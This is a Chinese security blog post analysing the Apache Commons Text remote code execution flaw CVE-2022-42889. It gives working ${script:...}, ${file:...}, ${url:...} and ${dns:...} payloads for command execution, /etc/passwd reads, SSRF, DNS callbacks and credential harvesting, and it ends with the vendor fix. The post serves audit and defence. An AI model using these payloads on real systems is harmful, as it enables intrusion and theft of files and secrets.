前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浅谈Apache Commons Text RCE(CVE-2022-42889)

浅谈Apache Commons Text RCE(CVE-2022-42889)

作者头像
亿人安全
发布2024-07-24 10:06:43
570
发布2024-07-24 10:06:43
举报
文章被收录于专栏:红蓝对抗

原文由作者授权,首发在奇安信攻防社区

https://forum.butian.net/share/1973

Apache Commons Text是一款处理字符串和文本块的开源项目。其受影响版本存在远程代码执行漏洞,因为其默认使用的Lookup实例集包括可能导致任意代码执行或与远程服务器信息交换的插值器Interpolator,导致攻击者可利用该漏洞进行远程代码执行,甚至接管服务所在服务器。

0x01 漏洞描述

Apache Commons Text是一款处理字符串和文本块的开源项目。其受影响版本存在远程代码执行漏洞,因为其默认使用的Lookup实例集包括可能导致任意代码执行或与远程服务器信息交换的插值器Interpolator,如

  • script- 使用 JVM 脚本执行引擎 (javax.script) 执行表达式
  • dns - 解析 dns 记录
  • url - 从 url 加载值。

攻击者可利用该漏洞进行远程代码执行,甚至接管服务所在服务器。

1.1 影响版本

1.5.0<Apache Commons Text<1.10.0

1.2 利用条件

使用了StringSubstitutor.createInterpolator.replace()方式去解析用户输入的内容。

0x02 原理分析

以ScriptStringLookup为例:

漏洞入口处是StringSubstitutor#replace:

然后调用StringSubstitutor#substitute ,然后调用 StringSubstitutor.Result#substitute 。这里做了一系列的处理,提取${}中间的内容,并赋值给varName,然后进行进一步的解析:

代码语言:javascript
复制
String varValue = this.resolveVariable(varName, builder, startPos, pos);

然后调用 StringSubstitutor#resolveVariable ,再调用 InterpolatorStringLookup#lookup,这里根据:提取前缀,然后获取对应的lookup:

代码语言:javascript
复制
public String lookup(String var) {
    if (var == null) {
        return null;
    } else {
        int prefixPos = var.indexOf(58);
        if (prefixPos >= 0) {
            String prefix = toKey(var.substring(0, prefixPos));
            String name = var.substring(prefixPos + 1);
            StringLookup lookup = (StringLookup)this.stringLookupMap.get(prefix);
            String value = null;
            if (lookup != null) {
                value = lookup.lookup(name);
            }

            if (value != null) {
                return value;
            }

            var = var.substring(prefixPos + 1);
        }

        return this.defaultStringLookup != null ? this.defaultStringLookup.lookup(var) : null;
    }
}

此时调用ScriptStringLookup 类的lookup方法进行解析,这里key(也就是前面的poc)会通过 : 拆分成两部分,前者引入 js 引擎,后者是作为被执行的代码,最终通过 ScriptEngine#eval 执行。也就达到了RCE的效果:

代码语言:javascript
复制
public String lookup(String key) {
    if (key == null) {
        return null;
    } else {
        String[] keys = key.split(SPLIT_STR, 2);
        int keyLen = keys.length;
        if (keyLen != 2) {
            throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is EngineName:Script.", new Object[]{key});
        } else {
            String engineName = keys[0];
            String script = keys[1];

            try {
                ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName(engineName);
                if (scriptEngine == null) {
                    throw new IllegalArgumentException("No script engine named " + engineName);
                } else {
                    return Objects.toString(scriptEngine.eval(script), (String)null);
                }
            } catch (Exception var7) {
                throw IllegalArgumentExceptions.format(var7, "Error in script engine [%s] evaluating script [%s].", new Object[]{engineName, script});
            }
        }
    }
}

0x03 漏洞复现

以Script插值器为例:

首先引入风险组件:

代码语言:javascript
复制
<dependency>
  <groupId>org.apache.commons</groupId>
  <artifactId>commons-text</artifactId>
  <version>1.9</version>
</dependency>

相关demo:

代码语言:javascript
复制
public class Demo {
    public static void main(String[] args) {
        StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
        stringSubstitutor.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}");
    }
}

0x04 其他利用方式探索

在调用stringLookupMap#get 解析到对应的的key然后返回对应的lookup实例,主要有以下几种:

可以通过相应的Lookup达到SSRF、任意文件读取、RCE、获取敏感信息的效果。

4.1 FunctionStringLookup

通过该Lookup可以获取一些系统环境变量信息:

  • env(例如获取家目录):
代码语言:javascript
复制
${env:HOME}
  • sys (例如获取Java version):
代码语言:javascript
复制
${sys:java.version}

4.2 JavaPlatformStringLookup

支持如下信息的读取:

${java:locale}

"default locale: " + Locale.getDefault() + ", platform encoding: " + this.getSystemProperty("file.encoding");

${java:os}

this.getSystemProperty("os.name") + " " + this.getSystemProperty("os.version") + this.getSystemProperty(" ", "sun.os.patch.level") + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model")

${java:vm}

this.getSystemProperty("java.vm.name") + " (build " + this.getSystemProperty("java.vm.version") + ", " + this.getSystemProperty("java.vm.info") + ")"

${java:hardware}

"processors: " + Runtime.getRuntime().availableProcessors() + ", architecture: " + this.getSystemProperty("os.arch") + this.getSystemProperty("-", "sun.arch.data.model") + this.getSystemProperty(", instruction sets: ", "sun.cpu.isalist")

${java:version}

this.getSystemProperty("java.version")

${java:runtime}

this.getSystemProperty("java.runtime.name") + " (build " + this.getSystemProperty("java.runtime.version") + ") from " + this.getSystemProperty("java.vendor");

以获取当前Java版本为例:

代码语言:javascript
复制
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${java:version}");

4.3 PropertiesStringLookup

可以通过该lookup读取一些properties配置文件的信息。

代码语言:javascript
复制
${properties:DocumentPath::Key}

通过::切割,获取到DocumentPath和key,documentPath 会去在本地去读取该文件

代码语言:javascript
复制
Properties properties = new Properties();
InputStream inputStream = Files.newInputStream(Paths.get(documentPath));
try {
    properties.load(inputStream);
} catch (Throwable var18) {
    ......
}

然后再读取key对应的内容并返回:

代码语言:javascript
复制
return properties.getProperty(propertyKey);

例如项目使用了druid console台,但是通过配置spring.datasource.druid.stat-view-servlet.login-username进行了权限控制,那么可以考虑通过该lookup来获取对应的敏感信息。

4.4 ResourceBundleStringLookup

在springboot中有一个 application.properties 配置文件。里面存放着这个系统的各项配置,其中有可能就包含 redis、mysql 的配置项。很多其他类型的系统也会写一些类似 jdbc.properties 的文件来存放配置。这些 properties 文件都可以通过 ResourceBundle 来获取到里面的配置项。

代码语言:javascript
复制
${resourcebundle:BundleName:KeyName}

通过:切割,获取到keyBundleName和bundleKey ,然后读取对应的内容:

代码语言:javascript
复制
String[] keys = key.split(SPLIT_STR);
int keyLen = keys.length;
boolean anyBundle = this.bundleName == null;
if (anyBundle && keyLen != 2) {
    throw IllegalArgumentExceptions.format("Bad resource bundle key format [%s]; expected format is BundleName:KeyName.", new Object[]{key});
} else if (this.bundleName != null && keyLen != 1) {
    throw IllegalArgumentExceptions.format("Bad resource bundle key format [%s]; expected format is KeyName.", new Object[]{key});
} else {
    String keyBundleName = anyBundle ? keys[0] : this.bundleName;
    String bundleKey = anyBundle ? keys[1] : keys[0];

    try {
        return this.getString(keyBundleName, bundleKey);
    } 
    ......
}

同理,跟PropertiesStringLookup的例子一样,如果项目使用了druid console台,但是通过配置spring.datasource.druid.stat-view-servlet.login-username进行了权限控制,那么可以考虑通过该lookup来获取对应的敏感信息(可以无需知道properties的路径):

代码语言:javascript
复制
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${resourcebundle:application:spring.datasource.druid.stat-view-servlet.login-username}");

4.5 FileStringLookup

代码语言:javascript
复制
${file:charsetName:fileName}

通过 : 拆分 key ,分配赋值给charsetName和fileName,然后调用Files.readAllBytes()方法进行文件读取:

代码语言:javascript
复制
    if (key == null) {
        return null;
    } else {
        String[] keys = key.split(String.valueOf(':'));
        int keyLen = keys.length;
        if (keyLen < 2) {
            throw IllegalArgumentExceptions.format("Bad file key format [%s], expected format is CharsetName:DocumentPath.", new Object[]{key});
        } else {
            String charsetName = keys[0];
            String fileName = StringUtils.substringAfter(key, 58);

            try {
                return new String(Files.readAllBytes(Paths.get(fileName)), charsetName);
            } catch (Exception var7) {
                throw IllegalArgumentExceptions.format(var7, "Error looking up file [%s] with charset [%s].", new Object[]{fileName, charsetName});
            }
        }
    }
}

具体效果:

代码语言:javascript
复制
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${file:utf-8:/etc/passwd}");

4.6 XmlStringLookup

通过:切割,前面的部分赋值给documentPath,第二部分赋值给 xpath:

代码语言:javascript
复制
String documentPath = keys[0];
String xpath = StringUtils.substringAfter(key, 58);

documentPath 会去在本地去读取该文件:

代码语言:javascript
复制
InputStream inputStream = Files.newInputStream(Paths.get(documentPath));

最后会调用对应的方法进行解析,可以达到xxe的效果:

代码语言:javascript
复制
XPathFactory.newInstance().newXPath().evaluate(xpath, new InputSource(inputStream));

4.7 UrlStringLookup

代码语言:javascript
复制
${url:charsetName:urlStr}

通过:切割,获取到charsetName和urlStr,然后通过java.net.URL对象对urlStr进行处理。也就是说可以通过File/http协议去操作。

  • 任意文件读取
代码语言:javascript
复制
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${url:utf-8:file:///etc/passwd}");
  • SSRF
代码语言:javascript
复制
${url:utf-8:http://x.x.x.x}
代码语言:javascript
复制
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${url:utf-8:http://wzd0lw.dnslog.cn}");

4.8 ScriptStringLookup

实际上就是js引擎的调用,前面复现过程已经提及过了:

代码语言:javascript
复制
ScriptEngine scriptEngine = (new ScriptEngineManager()).getEngineByName("js");

4.9 DnsStringLookup

代码语言:javascript
复制
${dns:address|x.x.x.x}

主要通过|分割,然后调用InetAddress.getByName()方法,在给定主机名的情况下确定主机的IP地址,这里实际上会发起一个dns请求:

代码语言:javascript
复制
public String lookup(String key) {
    if (key == null) {
        return null;
    } else {
        String[] keys = key.trim().split("\\|");
        int keyLen = keys.length;
        String subKey = keys[0].trim();
        String subValue = keyLen < 2 ? key : keys[1].trim();

        try {
            InetAddress inetAddress = InetAddress.getByName(subValue);
            byte var8 = -1;
            switch(subKey.hashCode()) {
            case -1147692044:
                if (subKey.equals("address")) {
                    var8 = 2;
                }
                break;
            case 3373707:
                if (subKey.equals("name")) {
                    var8 = 0;
                }
                break;
            case 1339224004:
                if (subKey.equals("canonical-name")) {
                    var8 = 1;
                }
            }

            switch(var8) {
            case 0:
                return inetAddress.getHostName();
            case 1:
                return inetAddress.getCanonicalHostName();
            case 2:
                return inetAddress.getHostAddress();
            default:
                return inetAddress.getHostAddress();
            }
        } catch (UnknownHostException var9) {
            return null;
        }
    }
}

具体效果:

代码语言:javascript
复制
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String value = stringSubstitutor.replace("${dns:address|ed7ce3.dnslog.cn}");

0x05 其他

UrlStringLookup、ScriptStringLookup、DnsStringLookup在最新版本默认情况下已不支持。实际上还是可以主动调用的。例如其中一种调用方式:

代码语言:javascript
复制
StringLookupFactory.INSTANCE.scriptStringLookup().lookup("javascript:java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app')");

在代码审计或者漏洞排查时需要额外关注。

0x06 修复方式

主要是在org.apache.commons.text.lookup.StringLookupFactory中的DefaultStringLookupsHolder#createDefaultStringLookups方法,在创建lookup的时候便将存在风险的lookup排除在外:

代码语言:javascript
复制
private static Map<String, StringLookup> createDefaultStringLookups() {
      Map<String, StringLookup> lookupMap = new HashMap<>();
      addLookup(DefaultStringLookup.BASE64_DECODER, lookupMap);
      addLookup(DefaultStringLookup.BASE64_ENCODER, lookupMap);
      addLookup(DefaultStringLookup.CONST, lookupMap);
      addLookup(DefaultStringLookup.DATE, lookupMap);
      addLookup(DefaultStringLookup.ENVIRONMENT, lookupMap);
      addLookup(DefaultStringLookup.FILE, lookupMap);
      addLookup(DefaultStringLookup.JAVA, lookupMap);
      addLookup(DefaultStringLookup.LOCAL_HOST, lookupMap);
      addLookup(DefaultStringLookup.PROPERTIES, lookupMap);
      addLookup(DefaultStringLookup.RESOURCE_BUNDLE, lookupMap);
      addLookup(DefaultStringLookup.SYSTEM_PROPERTIES, lookupMap);
      addLookup(DefaultStringLookup.URL_DECODER, lookupMap);
      addLookup(DefaultStringLookup.URL_ENCODER, lookupMap);
      addLookup(DefaultStringLookup.XML, lookupMap);
      return lookupMap;
    }
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 亿人安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 漏洞描述
    • 1.1 影响版本
      • 1.2 利用条件
      • 0x02 原理分析
      • 0x03 漏洞复现
      • 0x04 其他利用方式探索
        • 4.1 FunctionStringLookup
          • 4.2 JavaPlatformStringLookup
            • 4.3 PropertiesStringLookup
              • 4.4 ResourceBundleStringLookup
                • 4.5 FileStringLookup
                  • 4.6 XmlStringLookup
                    • 4.7 UrlStringLookup
                      • 4.8 ScriptStringLookup
                        • 4.9 DnsStringLookup
                        • 0x05 其他
                        • 0x06 修复方式
                        相关产品与服务
                        代码审计
                        代码审计(Code Audit,CA)提供通过自动化分析工具和人工审查的组合审计方式,对程序源代码逐条进行检查、分析,发现其中的错误信息、安全隐患和规范性缺陷问题,以及由这些问题引发的安全漏洞,提供代码修订措施和建议。支持脚本类语言源码以及有内存控制类源码。
                        领券
                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档